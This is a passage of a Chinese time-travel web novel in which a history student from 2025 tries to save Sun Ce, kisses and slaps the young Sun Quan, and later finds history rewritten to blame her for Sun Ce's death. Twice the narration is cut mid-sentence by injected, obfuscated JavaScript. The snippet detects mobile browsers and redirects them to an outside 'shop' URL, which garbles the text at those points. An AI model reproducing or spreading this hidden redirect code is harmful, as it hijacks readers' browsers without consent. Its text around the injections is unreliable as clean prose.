《棺椁聘孙权》 1. 梦从 “站住!” 步一乔一个劲儿地跑,身后的少年一个劲儿地追。从前院一路追到后院隐匿的地牢,两人速度不相上下。 此时此刻,她突然想起了自己穿越到江东的目的——拯救孙策,避开刺杀。 然而目的不成,反被追杀。 “我说你怎么这么执着!放我走要死啊!” “跟我回去见兄长!” “见个屁啊!我才二十一,还想多活两年呢!告辞!” 步一乔刚想跳进棺材,身后之人也适时追上,一把抓住步一乔。 “站住!不许再跑了!”少年将人从棺材边拉扯开。 被抓住的步一乔没挣,反而就着他的力道倏地转身,一张脸毫无预兆地凑到他眼前,上下打量。 少年被她这突如其来的贴近吓一跳,眼神慌乱地四处乱飘,就是不敢看她。 渐渐地,整个红温。 终归还是个青春期的小屁孩啊,步一乔心想。 “喂,”步一乔开口打破沉默,“你先别脸红,我先确认一下。你是孙仲谋对吧?孙权的那个孙仲谋?” 孙权正兀自羞窘,被她连串的问题砸得一懵,下意识答道:“我……正是……” “很好!确认收货!” “收什么……唔?!” “货”字尾音还未落地,步一乔突然揪住他的衣领,猛地向自己一拽。 孙权毫无防备,只觉得一股力道袭来,下一秒,唇上就印下了一片柔软温热的触感。 他惊得双目圆睁,胡乱的双手不敢落在步一乔身上,只好握紧空气。 独独没想过一把将人推开,避而远之。 然后,啪—— 利落的耳光甩在孙权左颊,步一乔甩了甩发麻的手,笑嘻嘻地欣赏他脸上清晰的巴掌印。 “礼尚往来!亲一下,打一下,我们就算两清啦!” 孙权捂着瞬间发烫肿起的脸颊,震惊、羞愤、委屈、难以置信种种情绪最终汇成一句颤抖的指控: “你!强吻于我,还……还动手打人?!” “我就是要打你!要不是你长得眉清目秀,我还打你!告辞。” 步一乔抬起腿正要跨入棺椁内—— “站住!” 孙仲谋突然攥住她手腕反身压上身后地牢的石墙,步一乔后脑磕在凸起的砖石上。 她刚想破口大骂,就看见孙权一脸歉意的表情,生生把脏字吞了回去。 “怎么?我可不会对你负责的啊!” 强吻人虽不是她本次穿越的终极目的,不过好色之徒的临时起意。 步一乔的想法很简单:反正要走了,不如爽一把。 奇怪的是,这吻……有种奇怪的感觉?麻酥酥的,很熟悉? 孙权压在她手腕上的手松了些力道:“那至少告诉我……姑娘姓名吧?” 步一乔狐疑地眯起眼睛,忽然笑出声:“你该不会喜欢上我了吧?” 孙权偏过头,“……没有。” “没有就没有,你犹豫个啥?还以为你对我动心了呢。” 步一乔不屑一顾。 “没必要知道,我对你没兴趣,走了。” 她单手撑在棺材边沿正要起跳,突然又被一股力道拽回去,身体失去重心,整个人摔倒在地,后脑猝不及防撞上某人腿间。 得亏孙权站得笔直,两腿间距不宽。这要是卡进去,姿势跟什么奇异变种人似的,那还得了! “你不许走!” “哎呀你好烦啊!” 步一乔坐在地上仰头瞪他,然后不耐烦地又给了他一耳光。 * 建安五年,抱着给孙权一耳光的目的,步一乔躺进棺材,穿越至此。 当棺材板板掀开的瞬间,一切新奇。 想不到躺在苏州孙氏旧址地牢的棺材里真的能穿越!只是具体穿哪儿来了,好像没个提示? 怎么不来个系统提示:宿主好,您现在所处的时间巴拉巴拉的。 步一乔脑补了一大堆没用的东西后,走出地牢,开始观察思考眼下自己的状况。 已知自己躺在里面默念的时间是200年,因一时想不起孙策具体去世的时间,步一乔只能念出隐约正确的年份。 默念完毕,眼睛一闭,感觉身体漂浮又落下,估摸着是穿越成功了…… 尽管地牢看上去和2025年并无太大区别。 记得住事件过程,独独记不住时间,这是步一乔学术生涯最大的缺点。 “按照旧址纪念馆的介绍,地牢就修在孙家的后院。所以……”一面喃喃,步一乔一面走出地牢。 眼前算不上奢靡的宅院,应该就是孙家了吧。 “好歹也是当官的,怎么住得这么简单?行吧,东汉末年的建筑水平也就这样了。” 传闻吴夫人颇爱在自己宅院栽花种草,花美却耐不住几个顽皮的孩子折腾,对此吴夫人屡屡头疼。 “不愧是苏州,优秀千年传统文化啊……哦对,现在该叫吴郡。” 步一乔蹲下身,凑近尚是花苞的荼蘼,指尖轻触。 “荼蘼花?还没正式到花季,莫非现在是……四月?!哪一年的四月?不能是孙策死那年的四月吧!” 完全有可能! 思及至此,步一乔赶忙捞起宽大的裙摆,快步凭着来之前恶补的孙家布局图,奔向主屋。 为了穿越过来不暴露,步一乔特地网购了一套复原东汉女子服饰的汉服。 奈何脑子打铁,买错尺码,裙摆长得跟扫地机似的,走几步,裙摆下面瞬间收集满枯叶石子。 * 室内,孙策与众人正商讨发兵北上一事,步一乔潜伏在门口窃听。 一听到北上两字顿时傻了。 建安五年!和历史书上记载的完全吻合!孙策要完了! 也就这种时候步一乔脑子特别灵光。 “站住!你是谁!不许进去!” 步一乔冲破门口的守卫,不顾一切闯入室内。 果不其然,人都搁这儿呢。 尽管不确定这群大老爷们里,有没有她要找的人。 放眼望去,唯独一人雄姿英发,剑眉星目,器宇轩昂,在满堂悍将中犹如朗月悬空,卓然不群。 “敢问,是孙策将军吗!” 堂上端坐的青年将领眉峰骤然收紧,他未置可否,只抬了抬下颌,示意阶下这个来历不明的女子继续说下去。 没有反驳,定然是本人无疑了。 步一乔心头狂跳,却也强自镇定,快步上前,在离孙策案前约三步之遥处稳稳站定,旋即双手抱拳。 “我叫步一乔,至于身份信息……暂时不便透露。不过,请将军一定相信我!我是来救你的!听我一言,可保将军长命百岁,免遭毒手,一统东南!” 噼里啪啦一顿说完,步一乔竟未察觉有什么不对。 孙策凝眉更甚,上下打量起眼前站定的陌生姑娘。 虽穿着汉家服饰,形制却略显古怪。观其神态气质,莫非是逃难而来的富家女子,可哪有世家小姐会这般莽撞失仪? 莫非是西凉来的妖人?袁术派来的刺客? 可她眼神清澈,不似作伪。然近日军中确有异动,且看她有何说辞,再做定夺。 想着想着,孙策的手不自觉搭上手边的铁器。 步一乔顺着他细微的动作,看了眼孙策放在手边的刀剑,剑柄上面似乎凝着疑似血垢的东西。 心里一咯噔,生怕眼前的小霸王心气不顺,把自己咔嚓一刀了结了。 不过,那可是孙策啊!自己的春梦常驻对象,想到他就浑身发痒的孙策啊! “好帅啊……本人比臆想的还要帅千倍啊!!”她几乎是无意识地喃喃低语。 “姑娘方才说什么?” “没、没什么!只是初见将军,就被那股子英俊潇洒的帅气给迷倒了,有点……怪不好意思的。” 置在桌面上的手指缓缓地点了点,明明孙策什么都还没说,步一乔却莫名隔着空气,感受到一股冰冷的寒意窜上背脊。 肃杀之气逐渐攀升,步一乔茫然四顾,发现每个人都用凛冽的目光盯视自己。 眼看事态发展不对劲,步一乔转过身欲要逃走,然而就在回头刹那,一抹剑光闪过。 两个男人挡在跟前,尖锐的刀刃架在自己脖子上。 “你不能走。”身后传来孙策冰冷的声音。 “为啥?……为何?” 步一乔不是怕得声音发抖,而是为了让自己的语境听上去符合当下历史,转而改了口。 “擅自闯入,窃听情报,妖言惑语,抓去牢房,明日问斩。” 孙策话音落,两个男人一人拎一条步一乔的胳膊,作势把人同垃圾似的丢出去。 “啊!?我没有乱讲话啊!我说的都真的!孙策将军!伯符!我没有说谎!”步一乔彻底慌了,挣扎着大喊。 孙策似乎被她这不顾一切的喊叫触动,略一抬手,示意侍卫暂缓。 “事关江东的未来,我何必说谎!肯定是知道事情的重要性,才冒着危险来告诉你啊!” 她声泪俱下,一番恳切至极的辩解,终于让孙策的态度缓和了些许,道歉着命人摆桌设宴,招待远道而来的客人。 此等劫后余生的跌宕起伏感,步一乔这辈子都不想再体验第二次了。 * 孙策身着绀色衣裳,头发用发带缠在发顶。俊英的脸庞轮廓分明,眉宇间,沉静时自带杀气,大笑时是潇洒英雄。 步一乔端着酒觞,眼睛一瞬不瞬地盯着她的梦中情人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16467236|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 谁说三次元不如二次元的!真人可比游戏角色帅千百倍啊! 席间,孙策执觞,状似随意地再次发问:“姑娘从何而来?” 步一乔咽下口中的吃食,随口道:“啊,我从棺材里面爬出来的。” 话音落下,席间霎时静得可怕,所有目光都胶着在这语出惊人的女子身上。步一乔这才后知后觉,恨不得 孙策眉宇骤然一凝,唇角勾起一丝冰冷的嗤笑:“果然是个满口胡言的妖人,来人,拿下她!” 留下一句不可反驳的命令后,孙策拍案起身离开,再也没回过头。 步一乔慌了:“诶诶诶?!别抓我啊!我真是来救你的!将军!孙策将军!伯符!你听我说完啊!!” * 牢房内,步一乔蜷坐在尚有微温的篝火余烬边,毫无睡意。 是该想办法逃出生天,还是该赌上性命,再去试一试那几乎为零的、说服孙策的可能? “……再去劝说,孙策肯定会二话不说一刀把我砍了!” 好可怕!那个伯符肯定做得出来的!自己这是穿越来干嘛了!信誓旦旦说好改写历史呢! “不过三次元的孙策真的好帅啊……嘿嘿~” 突然犯起花痴,忘了正事,步一乔啪啪给自己打清醒。 “不行,我得逃出去。” 给自己定了定心,步一乔开始观察起地牢的构造。除了一道被上锁的木门,似乎没有别的出口。 要不是试试一脚把门踹开? 想法刚冒出来,步一乔冷笑着自我反驳:“我要是有这能耐,就不会学历史了。” 大学靠着擦边分数勉强考上了A大,却因分数实在不够看,生生被补录到最后一个志愿历史系。 怕本科毕业找不到工作,逼迫自己继续读研。 说是幸运加持,倒也算。 至于怎么成了孙策的梦女? 只能夸现如今各大游戏开发商,对历史人物的塑造过于完美。使其一场春梦后,无法忘怀。 * 冥思苦想数日,步一乔依旧想不到闯出去的法子。 这日,昏昏欲睡之际,地牢的门被打开。她没太在意,又闭上眼睛继续打瞌睡。 “喂,你。” 守卫一脚将步一乔踹醒,人一下倾倒撞在地上惊醒。 “将军要见你。” “孙策要见我?!侍寝吗!” “呵,我家将军能看上你?” “我怎么了?长得很丑吗?” “我家将军最不信鬼神,你这么个天上掉下来的,留你的小命到现在,已经谢天谢地了。还侍寝?做白日梦去吧。” “……孙策不信鬼神?” 东汉末年,张角创立了太平道,张陵创立了五斗米道。古人不是干啥都讲究天时地利人和,龟甲占卜算时机? 守卫一脸骄傲道:“道长说,我家将军阳气过旺,神仙认其为武神下凡化身而成。神仙哪儿有信神仙的道理?自然就不信了。” 好牵强的理由。 不过想想,孙策称“小霸王”也不是没有道理。 “霸王”最终四面楚歌、自刎江边。 同为名将之后,时代霸主。 “小霸王”一生自年少便有勇有谋,不畏前险。 放走许贡之子与门客,该是孙策此生孤勇朝前最大的失误吧。 * 念在是女子的份上,守卫没有给步一乔戴上镣铐,比着尖刀押送。 “能冒昧地问一下,将军叫我去做什么吗?” “问斩。” “怎么还给提前了?!” 这走向绝对有问题!再不跑可就真回不去了! 灵机一动,步一乔想到了影视剧惯用的逃脱技巧。实际操作成不成暂且不论,试试再说。 “那个,小哥?麻烦你跟将军说一声,我上个厕所就来。” “厕所是谁?你为何要上他?!” “茅房!我去方便一下。姑娘家家你也不好看着。就劳烦您先去说一声,我随后就到。” 守卫不耐烦地横了她一眼,“搞快点。” “好嘞,您放心,马上来。” 恭恭敬敬地目送走侍从,步一乔立马换了副嘴脸,不耐烦翻了个白眼。 “马上来?做梦。永别了您嘞。” 捞起长裙抱在怀中,步一乔迈开大步奔向后院。 在钻狗洞和翻墙之间难以抉择。 仔细对比二者发生尴尬时的场面,钻狗洞卡在中途实在有损颜面,翻墙吧,大不了摔下来搞得人仰马翻。 费死费力爬上墙头,忽闻身后炸开厉喝:“喂!你干嘛!” “啊?啊!!!!” 步一乔脚下一滑。 要掉下去了! 2. 如梦 幸而墙壁不高,步一乔摔下来只尾椎骨窜上一股痛意,其余地方完好无损。 “哎哟!好痛!谁啊!” 步一乔气呼呼地挺身而出。两脚刚踩稳地面,屁股刚离地,又一个踉跄坐了回去。又挣扎着再来一次,又倒。又起,又倒。 最终还是采用了翻身之术,撅起个屁股对准面前的人,双手撑地,才终于爬起来。 跟前的少年始终面无表情地盯着步一乔,哪怕再滑稽搞笑也绝对不会笑。 除非忍不住。 但他是孙权,他忍住了。 抬手指着步一乔,张口就来:“你是谁!为何站在我家房檐上!” “你家?这儿不是孙——” 联想到什么,步一乔一下愣住,将眼前的人上上下下仔仔细细打量了几番。 “你莫非是!” “老实交代!你是谁!” 英姿少年不管不顾,意气风发的模样只有那么帅气。 《江表传》记载,孙权身材高大,七尺六寸,实际一见,确实有一米七几的样子。紫红色的胡须倒看不出,黑灯瞎火的。眼睛炯炯有神,目光锐利。 步一乔顿时好色心燃起,抿唇窃喜。 但又想到孙家人各个善武,还是保命要紧,又立马板着个脸,装作面瘫。 “我是……我说我是迷路至此的,你信吗?” 孙权当然不信,双手抱在胸前,扬起下颌,居高临下睨着步一乔。 “我要抓你去见兄长。” “孙策?!那不行!他会要我命的。” “那我只好在此要了你的命。” 二话不说,凭空出现的剑拔出剑鞘?! 当然不是,不过步一乔的视角看去,那把剑的的确确突然出现。 孙权将藏于身后的剑潇洒利落地在空中划出一道弧线,指向大地。 步一乔吓到连连后退:“我说你们孙家人怎么动不动就要人命啊!人与人之间就不能多一份信任,多一点关怀吗!” “私闯民宅,你还有理了?!” “都说了八百遍,我不是故意——” 突然,步一乔忽地捂住肚子,眉目狰狞,缓慢蹲下身。 孙权诧异,心想自己还没做什么,此人怎么突生异变?连忙收起剑,上前询问。 “你怎么了?!” “我的肚子……好痛……要死了……我要喝水……水……” “水?” 孙权环顾四周。此处离最近的屋子有段距离,取水也只能去那里。可有担心此女趁机调走……罢了,她这副弱不经风又摔了一跤的样子,估计是跑不远的。 “你等着。” 看着背影逐渐远去,步一乔收起演技,活动活动筋骨,不禁嗤笑。 这厮真的是孙权吗?跟个傻孩子似的。 “抱歉啊二公子,我先走咯。” 步一乔自称演技感人,尤其是装病一事上,可谓炉火纯青、浑然天成。 * 此处该是孙家的侧院,地牢在后院,沿着墙壁一路走,只要别绕到正大门,兴许就能到地牢啦。 十五分钟后。 步一乔眼看着即将安然无恙抵达地牢入口,恰逢此时,身后传来由远及近,急促的脚步声。 “站住!不许跑!” 是孙权!拿着把刀朝这边杀来了! 不好!快跑! 借着月光和对谍战片跑酷的那点高清的记忆,步一乔在孙家后花园的假山怪石间跌跌撞撞地穿梭。 碍事的裙摆被树枝勾住了好几次,差点让她即反复跌坐后,再次搁孙权面前表演平地摔跤。 她手忙脚乱地扯开裙角,一边小声嘀咕,一边警惕紧随而来的孙权。 “我去,这孙权属狗的吗?鼻子这么灵!这么快就追上来了!” 孙权,生于182年,壬戌年。 嗯,确实属狗。 身后,沉稳而迅速的脚步声越来越近,此人跑那么快居然大气不喘。 步一乔头皮发麻,一个急转弯,试图利用茂密的花丛隐藏身形。 结果低估了汉代长裙的碍事程度,脚下一绊,“哎哟”一声差点扑进一丛吴夫人精心栽培的月季里。 幸好及时抱住了一根看起来还算结实的廊柱,免去又一杀头灾难。 地牢就在前方!冲啊! 果然,下一刻,孙权修长的身影飞快闪现跟前,堵在了入口。 迎着月光,少年帅气的脸庞毫无戏谑可言,那股迫人的气势让步一乔呼吸一滞。 “放过我吧二公子,我真不是什么不法分子。从小学到高中没干过一件违法乱纪的事儿,上课举手上厕所都觉得破坏课堂秩序,活生生憋到下课才去。大学更是勤奋苦读,怕历史系毕业找不到工作,费力考研,头发直接秃一半。时至今日,仍是刻苦学习的三好青年呐。” 一口气说完,步一乔差点噎过去。深吸一口气,继续道。 “请你相信我,我是好人。” 孙权眯着眼,狐疑道:“……谁家好人逃跑,往地牢跑?” 步一乔无奈歪头,淡淡道:“谁家好人家里修地牢的?” 视线一转,她忽地抬手指向孙权身后:“啊!吴夫人!” “母亲?” 孙权显然没料到步一乔会来一招声东击西,下意识回头查看,再转过来人已跑进地牢。 “你居然骗我!”恼怒的孙权奋起直追。 彼时步一乔已成功抵达棺材旁,跳进去,躺下闭眼,自己就能重回2025年! 这是孙权第一次进地牢,没曾想这里面居然有一口棺材。平日听兄长说,这里不是关着待审讯的贼人吗? 反正只差最后一步,步一乔也不慌了,双手撑在棺材边沿,侧头打量起稍稍隔了些距离站定的孙权。 “我说你怎么这么执着?放我走要死啊!” “跟我回去见兄长!” 步一乔被他一本正经地模样逗笑了,甩手示意他速速离开,自己懒得跟他废话,得赶紧进棺材宿舍睡觉。 “我才二十一呢,还想多活两年,告辞了!” “站住!” 如命令般,步一乔真站住。紧接着,她凑近孙权的脸侧,认真地端详一番,随即露出微笑。 “对了,你是孙仲谋?” “……我是。” 孙权羞涩地眼珠子乱飘,犹豫着对上她的目光。 少年青涩的模样勾起了步一乔的好奇和短暂的心动。她唇角微扬,温凉的指腹擦过孙权的稚嫩的唇瓣。 “多大了?娶老婆——可有妻室?” “尚未……” “不会吧?孙策都二十六,按理说你也十七八九了,早该成婚了吧?” “母亲有提起过……但尚未过门。” “谁啊?” “郡山阴县士族家庭,谢煚之女。” 果然是谢夫人,孙权的第一任妻子,被他“以妾凌妻”的可怜人。 孙权一生妻妾嫔妃众多,迎娶徐夫人时,彼时人家正是寡妇,贪图美色的孙仲谋不顾其亲戚长辈关系,执意迎娶。 甚至令原配妻子谢夫人让出正室之位,将妾室徐夫人认作“嫡妻”。 想到此男如此相貌,干出这等事,日后还只给孙策一个长沙桓王的谥号,步一乔气不打一处来,手痒痒得厉害。 但身为当代优秀青年大学生,深知动手打人是不对,她也只心平气和地骂了句:“渣男。” “啊?渣……男? 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她踮脚含住他下唇轻轻一咬,趁他吃痛时探入更深的纠缠。孙权僵直的后背擦落簌簌墙灰,悬在半空的手最终颤抖着抓住她腰间皱起的衣料。 少年眉头紧皱,哼哼唧唧的娇弱喘息,让地牢压抑的空气染上旖旎。 步一乔退开半寸,鼻尖蹭着他灼热的皮肤轻笑:“孙仲谋,你剑鞘,顶到我了。” 孙权猛地偏过头去,通红的耳垂擦过她唇瓣:“那……那是我的佩剑……剑鞘在……” “哦?” 步一乔打断他的话,故意用膝盖蹭过剑鞘,听见少年倒抽气的声音。 孙权整个人忽地弹起来,又被她按回去。 “现在呢?也是佩剑?” “现在是……是……” 步一乔低笑,“抖什么?刚才追我的狠劲呢?” 少年喉间溢出半声呜咽,又被吞进更深重的吻里。 感觉脸颊感受到什么冰凉湿热的,步一乔微微睁开眼,发现那居然是孙权的眼泪。 是痛吗?不对,应该是感觉自己被羞辱了吧。 步一乔心里骂着自己‘无耻’,唇瓣稍离,眼眸中映照出孙权涨红的脸庞,以及湿润肿胀的唇。 在同样迷离的眼瞳中,她望见了自己心有余悸附有歉意的脸。 “你是不是痛——” 关心的话被堵住,想不到孙权主动贴上来,贪恋般学着她方才的动作……当孙权生涩的舌尖试探时,她的身体却先于理智,不由自主地迎了上去。 两个人都忘了眼下该做什么,忘了本来的目的。 短暂的两分钟,似是两个时辰,忘却、沉沦。 * 然后,响亮的耳光落在孙权脸上。孙权懵然地捂着脸,看着人走到棺材边。 “任务完成,再见。以后不准给孙策封什么长沙桓王,再封我还扇你!” “你——!你在说什么呢??” “还有,叫孙策小心那个叫许——” 话音未落,步一乔突然抽了抽鼻子。 她天生嗅觉比常人敏锐得多,此刻一股焦糊气味正丝丝缕缕钻进鼻腔。 她蹙起眉头,鼻翼急促翕动,顺着气味来源疾步追索。 “这味道……怎么像木头烧起来的味道?” 越往地牢出口走,那气味越发浓烈刺鼻。 待她终于踏出阴湿的地牢,眼前景象让她猛地刹住脚步,倒抽一口冷气。 远处浓烟翻滚,赤红火舌舔舐着夜空,将半个天际染成不祥的橘红色。 火星噼啪爆裂声隐约可闻,热风裹挟着灰烬扑面而来。 “孙权!起火了!是孙策的屋!” 3. 夜奔 “母亲!兄长!” “母亲?” 吴夫人同孙策在一个屋?孙策不是拖自己去问斩吗?莫非是杀给吴夫人看? 越想越离谱,不过眼下不是思维发散的时候。 见人僵在原地不赶紧跑,步一乔一掌招呼在孙权后背上。 “愣着干嘛!快回去救火啊!” 两人奔回前院时,家中侍从已纷纷提水扑救。 孙权这傻孩子一见火光就要往里冲,步一乔跨步上前,揪住他的后领将人拽了回来。 “你找死啊!” 孙权跌坐在地,等步一乔察觉到低沉的抽泣望去时,人已哭成泪人。 “兄长……母亲……” 这孩子怎么还哭了! 步一乔烦闷地抓了抓头发。平生最讨厌小孩子哭哭啼啼,根本哄不好。 她弯下腰,掌轮蛮狠地擦掉孙权脸上的泪水。 “你在这儿等着,我去救他。” “不行!那么大的火,你——” “我好歹学过消防知识,知道怎么救人。” 步一乔信誓旦旦地解下跘脚的长裙和能装三十斤西瓜的大袖,露出内里的蓝色运动套装。 在众人惊愕的目光中,她转头对孙家侍从吩咐:“你们几个看着不许他乱来。你们几个,一人拿两块布巾来,打湿后捂住口鼻。” 众人一时怔住,迟缓应道:“……是。” 所有目光都不由自主追随着眼前恍若脱胎换骨的少女。她束起长发,几缕碎发垂落,扫过白皙纤细的后颈。 “记住,得一直捂着,找到人后也给人捂上,务必把人全部带出来。” “是!” 孙权双腿打颤,神色不安。“真的……能救出来吗?” 步一乔横他一眼,又是一巴掌拍在他背上,打得他一个趔趄。 “你真的是孙仲谋吗?就你这样子以后怎么当皇帝?” “啊?皇帝?” 重点好像搞错了。 步一乔摆摆手,“待会儿把人救出来,记得赶紧拿清水给人清理,记住没?” “记住了……” 他那一脸可怜又无助的模样,莫名勾得步一乔心头发痒。鬼使神差地,她踮起脚,在他紧抿的唇上快速印下一吻。 此刻救火的、忧心忡忡的、甚至路过的猫狗,所有视线都聚焦在这一角。 二公子的清白啊! 步一乔揉捏着孙权稚气未脱的脸。 “行啦,多大的人,不许哭了啊!像什么样子。” * 火海内热气熏蒸,口干舌燥,眼珠子干涩得厉害。步一乔还是太意气用事,过于轻佻莽撞,此时心底一万个后悔。 但那是伯符!哪怕自己半死,也得救下他! “孙将军!孙策!吴夫人!” 火舌吞没了所有回应。 “有人吗!” 高温炙烤,步一乔额际沁出的细密汗珠,瞬间又被热浪蒸干。 一个念头窜入脑海:如果人还活着却没能逃出去,会躲在哪里?墙角?或者密室暗道? 可凭借孙策的身手和机敏,怎会轻易被困住,火势大起来之前怎么不跑? 除非……他当时已经无法行动?或者遭遇了更致命的袭击?! 步一乔越想越害怕。 孙策不会……真的已经出事了吧?! 建安五年,孙策统一江东,势力正旺。 官渡之战一触即发,曹操绝不能容忍后方起火。或利用其专业的间谍团队,除掉孙策? 又或是江东豪强士族? 孙策以武力平定江东,诛杀了大量不愿合作的地方豪强和官员,幸存的家属和门客都有强烈的复仇动机。 难不成许贡的门客提前了计划,把偷袭改家里来了?! 情况愈发迫切,步一乔加快脚步。哪怕只剩具尸体,也得找出来带走! 室内空间不大,步一乔很快发现双脚被粗绳死死捆在沉重桌脚、额角淌血、昏迷不醒的孙策。 “伯符!” 还未及上前,头顶便传来梁柱崩塌的异响。 步一乔疾冲至孙策身旁,千钧一发之际,断裂的横木擦着她的后背砸落在地,侥幸躲过一劫。 “嘿老子一跳!以后不干这种要人命的事情了。” 骂归骂,人得救。 她抽出孙策腰间的匕首,割断脚上绳索。幸好暂未发现其他伤势,双腿无恙。 “孙策?伯符?” 步一乔轻拍他的脸,孙策半睁开眼,唇瓣微颤,却发不出声音。 她迅速分下自己半干的布巾,又从腰间取出备用水囊,将仅存的水倒上去浸湿,小心帮他捂好口鼻。 “千万别松手,我救你出去。” 可怎么出去? 孙策身形高大,体格健壮,昏迷后更是死沉。步一乔就算平日勤练体能,也绝无可能独自背动他。 火势愈猛,热浪灼人。 步一乔见形势危急,心一横,拽起孙策一条胳膊,奋力将他拉得半坐起来,试图将他沉重的身躯扛上自己并不宽厚的后背。 她几乎榨干全身气力,低吼一声,终于将孙策上半身拖上肩背。 重量压下时她一个踉跄,险些跪倒在地。 “将军要是腿还能动,就借把力,咱们一起出去。” 不知是求生本能被唤醒,还是她的呼喊起了作用,搭在她肩上的手臂似乎微弱地收紧了一下。 孙策无意识中挣扎着蹬腿,虽摇晃无力,却好歹分担了些许重量,不再全然拖累。 * 屋外一片混乱,侍从们成功救出了吴夫人及其他尚有生息的人。 步一乔就近从侧门而出,与正门隔了些距离。她在池边空地上放下孙策,跌坐在地大口喘息。 目光扫过孙策,她又立即翻身而起,用湿布为他清理灰烬。 “将军?能听见我说话吗?” 孙策仍昏迷不醒,但胸口微弱起伏。 步一乔松了口气,抬头看向火灾现场。 透过混乱,看到了焦急却有条不紊指挥着一切的少年。 生子当如孙仲谋……屈身忍辱,任才尚计……孙家兄弟各个短命,偏他长命。 “所以孙权为何只封你为长沙桓王?明明听见你出事,他都快急死了。” 虽无正史明确指出,但孙权应该是个兄控吧?步一乔百思不得其解。 她将手伸向眼前雕刻般的脸庞,在即将触及时调转方向,朝着人的胸腹以下挪去。 “想什么呢变态!趁人之危,流氓行为!” 沉了沉气,失望着叹了口气,步一乔撑着膝盖站起身。 “我得趁此机会跑了。伯符你……” 步一乔本想偷偷一吻再离去,嘴唇俨然压至相隔一指之处。可想到已亲过孙权,再亲孙策实在不厚道,只得直起身作罢。 “不对!孙权算什么!我又不喜欢他!真人躺这儿呢!此时不亲,这辈子都没机会了!” 于是,本能胜过理智,步一乔毫不客气地闭上眼俯下身,吻住孙策微张的唇。 临别前还怪不舍得的,用舌尖蹭过唇瓣,齿尖轻咬过再离开。 步一乔看着近在咫尺的脸,忽觉落寞,心头酸涩。 * 片刻后,有了意识的孙策缓缓睁开眼,迟疑着看向身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16467238|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边正襟危坐的姑娘。 步一乔双手搭在膝盖上,一脸柔情地看着他。 “将军醒啦?可有哪里不适?就躺着休息吧。” “是你……救了我?” “将军是大福大命之人,是老天救了你,我不过搭了把手。” 孙策听罢,无力轻笑。 “我本想杀你……你却救我……” “那不正好扯平了!” 步一乔笑了笑,看了眼不远处火势将灭,自己得离开了。 “将军听好,危险往往藏在看不见的地方。许贡的门客还没清除干净,尤其是去山林打猎的时候一定格外小心。但我更希望你暂时收一收冲在前的性子,多听听周瑜的谋划,保护好自己。意志再强大的人,也不过血肉。记住,人被杀,就会死。” 她握紧孙策的手,在他微怔的瞩目下神色认真。 “孙家的霸业、江东百姓的命运,可都扛在你肩上。孙权虽善用贤臣,但如果是你,或许能改写孙吴的未来。取缔曹魏,重编华夏历史。” * 远处,安顿好吴夫人的孙权正在人群中焦急寻觅什么。侍从发现池边的孙策,急忙通报。 兄长安然无恙,可救他的人却不见踪影。 孙权瞬间慌了神,连忙问道:“她呢!那位奇装异服的姑娘呢?” 侍从们面面相觑,无人知晓。 “火势太大,我们忙着救人,未曾留意……” 仿佛有什么轰然坍塌。 侍从们见状赶忙上前阻拦。 “二公子!不可贸然前往啊!” “若那姑娘尚未逃出,恐怕……” 孙权被两人拉至安全处,黯淡失落。 他晓得是她救出了兄长,一定还活着,趁此机会逃之夭夭。 “我才刚认识你,便是永别吗?” 步一乔隐于暗处目睹一切,也读懂了他的唇语,拉紧运动外套的拉链,悄然没入夜色。 重回棺中,步一乔再次确认目标时间后,以极其安详的姿态闭目。 “太可怕了,就来这么一回,差点把命搭进去……” 整死也不来了。 * 2025年,A大历史系。 在连续四堂课后,步一乔整个人跟抽干了似的趴在教室桌子上。想到还有一堆要补的昨夜,头痛欲裂。 “没人说穿越的时候,现实时间在照常前进啊……” 穿越过去一天,换算成现实是一个小时。幸亏不是一比一,缺席一周,后果不敢想。 唉声叹气时,头顶飘来一片阴影,一本书猝不及防地落在自己头顶,敲醒昏昏欲睡的灵魂。 步一乔捂着脑袋抬起头,草字都到嘴边又生生咽回去。 “步一乔,你还挺有能耐,到底是去救人还是害人啊?” 是自己历史学综合科的教授,具体姓什么……步一乔至今未知,只一口一个教授。 “我干啥了吗?我可是冒着大火把人救出来的旷世英雄!孙家十八代都得感谢我。” “感谢?没把你找出来乱棍打死够不错了。” “什么意思?” 步一乔感觉教授话里有话。 教授把历史书甩在步一乔面前,她诧异地拿起,定睛阅读教授折起的一页。 《三国志·吴书》 建安五年,孙氏家宅中闯入一不明身份之人,以妖言蛊惑人心,幸而孙策未信,将其关入地牢。却不料贼人身手了得,逃出后放火焚烧宅院,且以绳索将孙策困于火海,不幸身亡,时年二十六。 顿时,步一乔神色惊恐,脸色煞白。 “孙策……死了?我杀的??” 4. 隔岸 东汉末年,狼烟不休,曹操挟天子令诸侯。天下三分,三足鼎立。 建安五年,孙策为其所诛的吴郡太守许贡的门客所伤,不治身亡,年仅二十六。临终前,命其弟孙权接替其位。 彼时,江东局势动荡不安,内忧外患。后在张昭、周瑜等辅佐之下,孙权三次进攻江夏郡,最终击杀黄祖,吞并江夏郡大部。 黄初二年,孙权向曹魏称臣,被册封为吴王。八年后称帝,追谥孙策为“长沙桓王”。 * 教授在台上讲得热火朝天,步一乔在底下越听越火大。 “凭什么!凭什么我家伯符只是个长沙桓王!可恶的孙权!忘恩负义的东西,我跟你没完!” 